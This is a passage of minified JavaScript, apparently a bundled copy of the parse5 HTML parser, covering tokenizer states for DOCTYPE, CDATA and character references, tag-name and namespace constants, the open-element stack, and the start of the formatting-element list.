if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingDoctypeName),this._createDoctypeToken(null),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this._createDoctypeToken(null),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._createDoctypeToken(_0(A)),this.state="DOCTYPE_NAME_STATE"}["DOCTYPE_NAME_STATE"](A){if(rH(A))this.state="AFTER_DOCTYPE_NAME_STATE";else if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(AS(A))this.currentToken.name+=Vs(A);else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.name+=ez.REPLACEMENT_CHARACTER;else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.name+=_0(A)}["AFTER_DOCTYPE_NAME_STATE"](A){if(rH(A))return;if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else if(this._consumeSequenceIfMatch(O5A.PUBLIC_STRING,A,!1))this.state="AFTER_DOCTYPE_PUBLIC_KEYWORD_STATE";else if(this._consumeSequenceIfMatch(O5A.SYSTEM_STRING,A,!1))this.state="AFTER_DOCTYPE_SYSTEM_KEYWORD_STATE";else if(!this._ensureHibernation())this._err(_8.invalidCharacterSequenceAfterDoctypeName),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["AFTER_DOCTYPE_PUBLIC_KEYWORD_STATE"](A){if(rH(A))this.state="BEFORE_DOCTYPE_PUBLIC_IDENTIFIER_STATE";else if(A===k1.QUOTATION_MARK)this._err(_8.missingWhitespaceAfterDoctypePublicKeyword),this.currentToken.publicId="",this.state="DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this._err(_8.missingWhitespaceAfterDoctypePublicKeyword),this.currentToken.publicId="",this.state="DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["BEFORE_DOCTYPE_PUBLIC_IDENTIFIER_STATE"](A){if(rH(A))return;if(A===k1.QUOTATION_MARK)this.currentToken.publicId="",this.state="DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this.currentToken.publicId="",this.state="DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED_STATE"](A){if(A===k1.QUOTATION_MARK)this.state="AFTER_DOCTYPE_PUBLIC_IDENTIFIER_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.publicId+=ez.REPLACEMENT_CHARACTER;else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.publicId+=_0(A)}["DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED_STATE"](A){if(A===k1.APOSTROPHE)this.state="AFTER_DOCTYPE_PUBLIC_IDENTIFIER_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.publicId+=ez.REPLACEMENT_CHARACTER;else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptDoctypePublicIdentifier),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.publicId+=_0(A)}["AFTER_DOCTYPE_PUBLIC_IDENTIFIER_STATE"](A){if(rH(A))this.state="BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS_STATE";else if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.QUOTATION_MARK)this._err(_8.missingWhitespaceBetweenDoctypePublicAndSystemIdentifiers),this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this._err(_8.missingWhitespaceBetweenDoctypePublicAndSystemIdentifiers),this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS_STATE"](A){if(rH(A))return;if(A===k1.GREATER_THAN_SIGN)this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.QUOTATION_MARK)this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["AFTER_DOCTYPE_SYSTEM_KEYWORD_STATE"](A){if(rH(A))this.state="BEFORE_DOCTYPE_SYSTEM_IDENTIFIER_STATE";else if(A===k1.QUOTATION_MARK)this._err(_8.missingWhitespaceAfterDoctypeSystemKeyword),this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this._err(_8.missingWhitespaceAfterDoctypeSystemKeyword),this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["BEFORE_DOCTYPE_SYSTEM_IDENTIFIER_STATE"](A){if(rH(A))return;if(A===k1.QUOTATION_MARK)this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this.currentToken.systemId="",this.state="DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingQuoteBeforeDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED_STATE"](A){if(A===k1.QUOTATION_MARK)this.state="AFTER_DOCTYPE_SYSTEM_IDENTIFIER_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.systemId+=ez.REPLACEMENT_CHARACTER;else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.systemId+=_0(A)}["DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED_STATE"](A){if(A===k1.APOSTROPHE)this.state="AFTER_DOCTYPE_SYSTEM_IDENTIFIER_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.systemId+=ez.REPLACEMENT_CHARACTER;else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptDoctypeSystemIdentifier),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.systemId+=_0(A)}["AFTER_DOCTYPE_SYSTEM_IDENTIFIER_STATE"](A){if(rH(A))return;if(A===k1.GREATER_THAN_SIGN)this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofInDoctype),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.unexpectedCharacterAfterDoctypeSystemIdentifier),this._reconsumeInState("BOGUS_DOCTYPE_STATE")}["BOGUS_DOCTYPE_STATE"](A){if(A===k1.GREATER_THAN_SIGN)this._emitCurrentToken(),this.state="DATA_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter);else if(A===k1.EOF)this._emitCurrentToken(),this._emitEOFToken()}["CDATA_SECTION_STATE"](A){if(A===k1.RIGHT_SQUARE_BRACKET)this.state="CDATA_SECTION_BRACKET_STATE";else if(A===k1.EOF)this._err(_8.eofInCdata),this._emitEOFToken();else this._emitCodePoint(A)}["CDATA_SECTION_BRACKET_STATE"](A){if(A===k1.RIGHT_SQUARE_BRACKET)this.state="CDATA_SECTION_END_STATE";else this._emitChars("]"),this._reconsumeInState("CDATA_SECTION_STATE")}["CDATA_SECTION_END_STATE"](A){if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE";else if(A===k1.RIGHT_SQUARE_BRACKET)this._emitChars("]");else this._emitChars("]]"),this._reconsumeInState("CDATA_SECTION_STATE")}["CHARACTER_REFERENCE_STATE"](A){if(this.tempBuff=[k1.AMPERSAND],A===k1.NUMBER_SIGN)this.tempBuff.push(A),this.state="NUMERIC_CHARACTER_REFERENCE_STATE";else if(Lf6(A))this._reconsumeInState("NAMED_CHARACTER_REFERENCE_STATE");else this._flushCodePointsConsumedAsCharacterReference(),this._reconsumeInState(this.returnState)}["NAMED_CHARACTER_REFERENCE_STATE"](A){let K=this._matchNamedCharacterReference(A);if(this._ensureHibernation())this.tempBuff=[k1.AMPERSAND];else if(K){let q=this.tempBuff[this.tempBuff.length-1]===k1.SEMICOLON;if(!this._isCharacterReferenceAttributeQuirk(q)){if(!q)this._errOnNextCodePoint(_8.missingSemicolonAfterCharacterReference);this.tempBuff=K}this._flushCodePointsConsumedAsCharacterReference(),this.state=this.returnState}else this._flushCodePointsConsumedAsCharacterReference(),this.state="AMBIGUOS_AMPERSAND_STATE"}["AMBIGUOS_AMPERSAND_STATE"](A){if(Lf6(A))if(this._isCharacterReferenceInAttribute())this.currentAttr.value+=_0(A);else this._emitCodePoint(A);else{if(A===k1.SEMICOLON)this._err(_8.unknownNamedCharacterReference);this._reconsumeInState(this.returnState)}}["NUMERIC_CHARACTER_REFERENCE_STATE"](A){if(this.charRefCode=0,A===k1.LATIN_SMALL_X||A===k1.LATIN_CAPITAL_X)this.tempBuff.push(A),this.state="HEXADEMICAL_CHARACTER_REFERENCE_START_STATE";else this._reconsumeInState("DECIMAL_CHARACTER_REFERENCE_START_STATE")}["HEXADEMICAL_CHARACTER_REFERENCE_START_STATE"](A){if(IgY(A))this._reconsumeInState("HEXADEMICAL_CHARACTER_REFERENCE_STATE");else this._err(_8.absenceOfDigitsInNumericCharacterReference),this._flushCodePointsConsumedAsCharacterReference(),this._reconsumeInState(this.returnState)}["DECIMAL_CHARACTER_REFERENCE_START_STATE"](A){if(umA(A))this._reconsumeInState("DECIMAL_CHARACTER_REFERENCE_STATE");else this._err(_8.absenceOfDigitsInNumericCharacterReference),this._flushCodePointsConsumedAsCharacterReference(),this._reconsumeInState(this.returnState)}["HEXADEMICAL_CHARACTER_REFERENCE_STATE"](A){if(XE7(A))this.charRefCode=this.charRefCode*16+A-55;else if($E7(A))this.charRefCode=this.charRefCode*16+A-87;else if(umA(A))this.charRefCode=this.charRefCode*16+A-48;else if(A===k1.SEMICOLON)this.state="NUMERIC_CHARACTER_REFERENCE_END_STATE";else this._err(_8.missingSemicolonAfterCharacterReference),this._reconsumeInState("NUMERIC_CHARACTER_REFERENCE_END_STATE")}["DECIMAL_CHARACTER_REFERENCE_STATE"](A){if(umA(A))this.charRefCode=this.charRefCode*10+A-48;else if(A===k1.SEMICOLON)this.state="NUMERIC_CHARACTER_REFERENCE_END_STATE";else this._err(_8.missingSemicolonAfterCharacterReference),this._reconsumeInState("NUMERIC_CHARACTER_REFERENCE_END_STATE")}["NUMERIC_CHARACTER_REFERENCE_END_STATE"](){if(this.charRefCode===k1.NULL)this._err(_8.nullCharacterReference),this.charRefCode=k1.REPLACEMENT_CHARACTER;else if(this.charRefCode>1114111)this._err(_8.characterReferenceOutsideUnicodeRange),this.charRefCode=k1.REPLACEMENT_CHARACTER;else if(ez.isSurrogate(this.charRefCode))this._err(_8.surrogateCharacterReference),this.charRefCode=k1.REPLACEMENT_CHARACTER;else if(ez.isUndefinedCodePoint(this.charRefCode))this._err(_8.noncharacterCharacterReference);else if(ez.isControlCodePoint(this.charRefCode)||this.charRefCode===k1.CARRIAGE_RETURN){this._err(_8.controlCharacterReference);let A=ygY[this.charRefCode];if(A)this.charRefCode=A}this.tempBuff=[this.charRefCode],this._flushCodePointsConsumedAsCharacterReference(),this._reconsumeInState(this.returnState)}}$H.CHARACTER_TOKEN="CHARACTER_TOKEN";$H.NULL_CHARACTER_TOKEN="NULL_CHARACTER_TOKEN";$H.WHITESPACE_CHARACTER_TOKEN="WHITESPACE_CHARACTER_TOKEN";$H.START_TAG_TOKEN="START_TAG_TOKEN";$H.END_TAG_TOKEN="END_TAG_TOKEN";$H.COMMENT_TOKEN="COMMENT_TOKEN";$H.DOCTYPE_TOKEN="DOCTYPE_TOKEN";$H.EOF_TOKEN="EOF_TOKEN";$H.HIBERNATION_TOKEN="HIBERNATION_TOKEN";$H.MODE={DATA:"DATA_STATE",RCDATA:"RCDATA_STATE",RAWTEXT:"RAWTEXT_STATE",SCRIPT_DATA:"SCRIPT_DATA_STATE",PLAINTEXT:"PLAINTEXT_STATE"};$H.getTokenAttr=function(A,K){for(let q=A.attrs.length-1;q>=0;q--)if(A.attrs[q].name===K)return A.attrs[q].value;return null};_E7.exports=$H});var Ts=v((SgY)=>{var Rf6=SgY.NAMESPACES={HTML:"http://www.w3.org/1999/xhtml",MATHML:"http://www.w3.org/1998/Math/MathML",SVG:"http://www.w3.org/2000/svg",XLINK:"http://www.w3.org/1999/xlink",XML:"http://www.w3.org/XML/1998/namespace",XMLNS:"http://www.w3.org/2000/xmlns/"};SgY.ATTRS={TYPE:"type",ACTION:"action",ENCODING:"encoding",PROMPT:"prompt",NAME:"name",COLOR:"color",FACE:"face",SIZE:"size"};SgY.DOCUMENT_MODE={NO_QUIRKS:"no-quirks",QUIRKS:"quirks",LIMITED_QUIRKS:"limited-quirks"};var W4=SgY.TAG_NAMES={A:"a",ADDRESS:"address",ANNOTATION_XML:"annotation-xml",APPLET:"applet",AREA:"area",ARTICLE:"article",ASIDE:"aside",B:"b",BASE:"base",BASEFONT:"basefont",BGSOUND:"bgsound",BIG:"big",BLOCKQUOTE:"blockquote",BODY:"body",BR:"br",BUTTON:"button",CAPTION:"caption",CENTER:"center",CODE:"code",COL:"col",COLGROUP:"colgroup",DD:"dd",DESC:"desc",DETAILS:"details",DIALOG:"dialog",DIR:"dir",DIV:"div",DL:"dl",DT:"dt",EM:"em",EMBED:"embed",FIELDSET:"fieldset",FIGCAPTION:"figcaption",FIGURE:"figure",FONT:"font",FOOTER:"footer",FOREIGN_OBJECT:"foreignObject",FORM:"form",FRAME:"frame",FRAMESET:"frameset",H1:"h1",H2:"h2",H3:"h3",H4:"h4",H5:"h5",H6:"h6",HEAD:"head",HEADER:"header",HGROUP:"hgroup",HR:"hr",HTML:"html",I:"i",IMG:"img",IMAGE:"image",INPUT:"input",IFRAME:"iframe",KEYGEN:"keygen",LABEL:"label",LI:"li",LINK:"link",LISTING:"listing",MAIN:"main",MALIGNMARK:"malignmark",MARQUEE:"marquee",MATH:"math",MENU:"menu",META:"meta",MGLYPH:"mglyph",MI:"mi",MO:"mo",MN:"mn",MS:"ms",MTEXT:"mtext",NAV:"nav",NOBR:"nobr",NOFRAMES:"noframes",NOEMBED:"noembed",NOSCRIPT:"noscript",OBJECT:"object",OL:"ol",OPTGROUP:"optgroup",OPTION:"option",P:"p",PARAM:"param",PLAINTEXT:"plaintext",PRE:"pre",RB:"rb",RP:"rp",RT:"rt",RTC:"rtc",RUBY:"ruby",S:"s",SCRIPT:"script",SECTION:"section",SELECT:"select",SOURCE:"source",SMALL:"small",SPAN:"span",STRIKE:"strike",STRONG:"strong",STYLE:"style",SUB:"sub",SUMMARY:"summary",SUP:"sup",TABLE:"table",TBODY:"tbody",TEMPLATE:"template",TEXTAREA:"textarea",TFOOT:"tfoot",TD:"td",TH:"th",THEAD:"thead",TITLE:"title",TR:"tr",TRACK:"track",TT:"tt",U:"u",UL:"ul",SVG:"svg",VAR:"var",WBR:"wbr",XMP:"xmp"};SgY.SPECIAL_ELEMENTS={[Rf6.HTML]:{[W4.ADDRESS]:!0,[W4.APPLET]:!0,[W4.AREA]:!0,[W4.ARTICLE]:!0,[W4.ASIDE]:!0,[W4.BASE]:!0,[W4.BASEFONT]:!0,[W4.BGSOUND]:!0,[W4.BLOCKQUOTE]:!0,[W4.BODY]:!0,[W4.BR]:!0,[W4.BUTTON]:!0,[W4.CAPTION]:!0,[W4.CENTER]:!0,[W4.COL]:!0,[W4.COLGROUP]:!0,[W4.DD]:!0,[W4.DETAILS]:!0,[W4.DIR]:!0,[W4.DIV]:!0,[W4.DL]:!0,[W4.DT]:!0,[W4.EMBED]:!0,[W4.FIELDSET]:!0,[W4.FIGCAPTION]:!0,[W4.FIGURE]:!0,[W4.FOOTER]:!0,[W4.FORM]:!0,[W4.FRAME]:!0,[W4.FRAMESET]:!0,[W4.H1]:!0,[W4.H2]:!0,[W4.H3]:!0,[W4.H4]:!0,[W4.H5]:!0,[W4.H6]:!0,[W4.HEAD]:!0,[W4.HEADER]:!0,[W4.HGROUP]:!0,[W4.HR]:!0,[W4.HTML]:!0,[W4.IFRAME]:!0,[W4.IMG]:!0,[W4.INPUT]:!0,[W4.LI]:!0,[W4.LINK]:!0,[W4.LISTING]:!0,[W4.MAIN]:!0,[W4.MARQUEE]:!0,[W4.MENU]:!0,[W4.META]:!0,[W4.NAV]:!0,[W4.NOEMBED]:!0,[W4.NOFRAMES]:!0,[W4.NOSCRIPT]:!0,[W4.OBJECT]:!0,[W4.OL]:!0,[W4.P]:!0,[W4.PARAM]:!0,[W4.PLAINTEXT]:!0,[W4.PRE]:!0,[W4.SCRIPT]:!0,[W4.SECTION]:!0,[W4.SELECT]:!0,[W4.SOURCE]:!0,[W4.STYLE]:!0,[W4.SUMMARY]:!0,[W4.TABLE]:!0,[W4.TBODY]:!0,[W4.TD]:!0,[W4.TEMPLATE]:!0,[W4.TEXTAREA]:!0,[W4.TFOOT]:!0,[W4.TH]:!0,[W4.THEAD]:!0,[W4.TITLE]:!0,[W4.TR]:!0,[W4.TRACK]:!0,[W4.UL]:!0,[W4.WBR]:!0,[W4.XMP]:!0},[Rf6.MATHML]:{[W4.MI]:!0,[W4.MO]:!0,[W4.MN]:!0,[W4.MS]:!0,[W4.MTEXT]:!0,[W4.ANNOTATION_XML]:!0},[Rf6.SVG]:{[W4.TITLE]:!0,[W4.FOREIGN_OBJECT]:!0,[W4.DESC]:!0}}});var jE7=v((O_H,DE7)=>{var ZE7=Ts(),V4=ZE7.TAG_NAMES,Aw=ZE7.NAMESPACES;function GE7(A){switch(A.length){case 1:return A===V4.P;case 2:return A===V4.RB||A===V4.RP||A===V4.RT||A===V4.DD||A===V4.DT||A===V4.LI;case 3:return A===V4.RTC;case 6:return A===V4.OPTION;case 8:return A===V4.OPTGROUP}return!1}function ugY(A){switch(A.length){case 1:return A===V4.P;case 2:return A===V4.RB||A===V4.RP||A===V4.RT||A===V4.DD||A===V4.DT||A===V4.LI||A===V4.TD||A===V4.TH||A===V4.TR;case 3:return A===V4.RTC;case 5:return A===V4.TBODY||A===V4.TFOOT||A===V4.THEAD;case 6:return A===V4.OPTION;case 7:return A===V4.CAPTION;case 8:return A===V4.OPTGROUP||A===V4.COLGROUP}return!1}function AZ1(A,K){switch(A.length){case 2:if(A===V4.TD||A===V4.TH)return K===Aw.HTML;else if(A===V4.MI||A===V4.MO||A===V4.MN||A===V4.MS)return K===Aw.MATHML;break;case 4:if(A===V4.HTML)return K===Aw.HTML;else if(A===V4.DESC)return K===Aw.SVG;break;case 5:if(A===V4.TABLE)return K===Aw.HTML;else if(A===V4.MTEXT)return K===Aw.MATHML;else if(A===V4.TITLE)return K===Aw.SVG;break;case 6:return(A===V4.APPLET||A===V4.OBJECT)&&K===Aw.HTML;case 7:return(A===V4.CAPTION||A===V4.MARQUEE)&&K===Aw.HTML;case 8:return A===V4.TEMPLATE&&K===Aw.HTML;case 13:return A===V4.FOREIGN_OBJECT&&K===Aw.SVG;case 14:return A===V4.ANNOTATION_XML&&K===Aw.MATHML}return!1}class WE7{constructor(A,K){this.stackTop=-1,this.items=[],this.current=A,this.currentTagName=null,this.currentTmplContent=null,this.tmplCount=0,this.treeAdapter=K}_indexOf(A){let K=-1;for(let q=this.stackTop;q>=0;q--)if(this.items[q]===A){K=q;break}return K}_isInTemplate(){return this.currentTagName===V4.TEMPLATE&&this.treeAdapter.getNamespaceURI(this.current)===Aw.HTML}_updateCurrentElement(){this.current=this.items[this.stackTop],this.currentTagName=this.current&&this.treeAdapter.getTagName(this.current),this.currentTmplContent=this._isInTemplate()?this.treeAdapter.getTemplateContent(this.current):null}push(A){if(this.items[++this.stackTop]=A,this._updateCurrentElement(),this._isInTemplate())this.tmplCount++}pop(){if(this.stackTop--,this.tmplCount>0&&this._isInTemplate())this.tmplCount--;this._updateCurrentElement()}replace(A,K){let q=this._indexOf(A);if(this.items[q]=K,q===this.stackTop)this._updateCurrentElement()}insertAfter(A,K){let q=this._indexOf(A)+1;if(this.items.splice(q,0,K),q===++this.stackTop)this._updateCurrentElement()}popUntilTagNamePopped(A){while(this.stackTop>-1){let K=this.currentTagName,q=this.treeAdapter.getNamespaceURI(this.current);if(this.pop(),K===A&&q===Aw.HTML)break}}popUntilElementPopped(A){while(this.stackTop>-1){let K=this.current;if(this.pop(),K===A)break}}popUntilNumberedHeaderPopped(){while(this.stackTop>-1){let A=this.currentTagName,K=this.treeAdapter.getNamespaceURI(this.current);if(this.pop(),A===V4.H1||A===V4.H2||A===V4.H3||A===V4.H4||A===V4.H5||A===V4.H6&&K===Aw.HTML)break}}popUntilTableCellPopped(){while(this.stackTop>-1){let A=this.currentTagName,K=this.treeAdapter.getNamespaceURI(this.current);if(this.pop(),A===V4.TD||A===V4.TH&&K===Aw.HTML)break}}popAllUpToHtmlElement(){this.stackTop=0,this._updateCurrentElement()}clearBackToTableContext(){while(this.currentTagName!==V4.TABLE&&this.currentTagName!==V4.TEMPLATE&&this.currentTagName!==V4.HTML||this.treeAdapter.getNamespaceURI(this.current)!==Aw.HTML)this.pop()}clearBackToTableBodyContext(){while(this.currentTagName!==V4.TBODY&&this.currentTagName!==V4.TFOOT&&this.currentTagName!==V4.THEAD&&this.currentTagName!==V4.TEMPLATE&&this.currentTagName!==V4.HTML||this.treeAdapter.getNamespaceURI(this.current)!==Aw.HTML)this.pop()}clearBackToTableRowContext(){while(this.currentTagName!==V4.TR&&this.currentTagName!==V4.TEMPLATE&&this.currentTagName!==V4.HTML||this.treeAdapter.getNamespaceURI(this.current)!==Aw.HTML)this.pop()}remove(A){for(let K=this.stackTop;K>=0;K--)if(this.items[K]===A){this.items.splice(K,1),this.stackTop--,this._updateCurrentElement();break}}tryPeekProperlyNestedBodyElement(){let A=this.items[1];return A&&this.treeAdapter.getTagName(A)===V4.BODY?A:null}contains(A){return this._indexOf(A)>-1}getCommonAncestor(A){let K=this._indexOf(A);return--K>=0?this.items[K]:null}isRootHtmlElementCurrent(){return this.stackTop===0&&this.currentTagName===V4.HTML}hasInScope(A){for(let K=this.stackTop;K>=0;K--){let q=this.treeAdapter.getTagName(this.items[K]),Y=this.treeAdapter.getNamespaceURI(this.items[K]);if(q===A&&Y===Aw.HTML)return!0;if(AZ1(q,Y))return!1}return!0}hasNumberedHeaderInScope(){for(let A=this.stackTop;A>=0;A--){let K=this.treeAdapter.getTagName(this.items[A]),q=this.treeAdapter.getNamespaceURI(this.items[A]);if((K===V4.H1||K===V4.H2||K===V4.H3||K===V4.H4||K===V4.H5||K===V4.H6)&&q===Aw.HTML)return!0;if(AZ1(K,q))return!1}return!0}hasInListItemScope(A){for(let K=this.stackTop;K>=0;K--){let q=this.treeAdapter.getTagName(this.items[K]),Y=this.treeAdapter.getNamespaceURI(this.items[K]);if(q===A&&Y===Aw.HTML)return!0;if((q===V4.UL||q===V4.OL)&&Y===Aw.HTML||AZ1(q,Y))return!1}return!0}hasInButtonScope(A){for(let K=this.stackTop;K>=0;K--){let q=this.treeAdapter.getTagName(this.items[K]),Y=this.treeAdapter.getNamespaceURI(this.items[K]);if(q===A&&Y===Aw.HTML)return!0;if(q===V4.BUTTON&&Y===Aw.HTML||AZ1(q,Y))return!1}return!0}hasInTableScope(A){for(let K=this.stackTop;K>=0;K--){let q=this.treeAdapter.getTagName(this.items[K]);if(this.treeAdapter.getNamespaceURI(this.items[K])!==Aw.HTML)continue;if(q===A)return!0;if(q===V4.TABLE||q===V4.TEMPLATE||q===V4.HTML)return!1}return!0}hasTableBodyContextInTableScope(){for(let A=this.stackTop;A>=0;A--){let K=this.treeAdapter.getTagName(this.items[A]);if(this.treeAdapter.getNamespaceURI(this.items[A])!==Aw.HTML)continue;if(K===V4.TBODY||K===V4.THEAD||K===V4.TFOOT)return!0;if(K===V4.TABLE||K===V4.HTML)return!1}return!0}hasInSelectScope(A){for(let K=this.stackTop;K>=0;K--){let q=this.treeAdapter.getTagName(this.items[K]);if(this.treeAdapter.getNamespaceURI(this.items[K])!==Aw.HTML)continue;if(q===A)return!0;if(q!==V4.OPTION&&q!==V4.OPTGROUP)return!1}return!0}generateImpliedEndTags(){while(GE7(this.currentTagName))this.pop()}generateImpliedEndTagsThoroughly(){while(ugY(this.currentTagName))this.pop()}generateImpliedEndTagsWithExclusion(A){while(GE7(this.currentTagName)&&this.currentTagName!==A)this.pop()}}DE7.exports=WE7});var PE7=v((X_H,ME7)=>{class KS{constructor(A){this.length=0,this.entries=[],this.treeAdapter=A,this.bookmark=null}_getNoahArkConditionCandidates(A){let K=[];if(this.length>=3){let q=this.treeAdapter.getAttrList(A).length,Y=this.treeAdapter.getTagName(A),z=this.treeAdapter.getNamespaceURI(A);for(let w=this.length-1;w>=0;w--){let H=this.entries[w];if(H.type===KS.MARKER_ENTRY)break;let J=H.element,O=this.treeAdapter.getAttrList(J);if(this.treeAdapter.getTagName(J)===Y&&this.treeAdapter.getNamespaceURI(J)===z&&O.length===q)K.push({idx:w,attrs:O})}}return K.length<3?[]:K}_ensureNoahArkCondition(A){let K=this._getNoahArkConditionCandidates(A),q=K.length;if(q){let Y=this.treeAdapter.getAttrList(A),z=Y.length,w=Object.create(null);for(let H=0;H<z;H++){let J=Y[H];w[J.name]=J.value}for(let H=0;H<z;H++)for(let J=0;J<q;J++){let O=K[J].attrs[H];if(w[O.name]!==O.value)K.splice(J,1),q--;if(K.length<3)return}for(let H=q-1;H>=2;H--)this.entries.splice(K[H].idx,1),this.length--}}insertMarker(){this.entries.push({type:KS.MARKER_ENTRY}),this.length++}pushElement(A,K){this._ensureNoahArkCondition(A),this.entries.push({type:KS.ELEMENT_ENTRY,element:A,token:K}),this.length++}insertElementAfterBookmark(A,K){let q=this.length-1;for(;q>=0;q--)if(this.entries[q]===this.bookmark)break;this.entries.splice(q+1,0,{type:KS.ELEMENT_ENTRY,element:A,token:K}),this.length++}removeEntry(A){for(let K=this.length-1;K>=0;K--)if(this.entries[K]===A){this.entries.splice(K,1),this.length--;break}}clearToLastMarker(){while(this.length){let 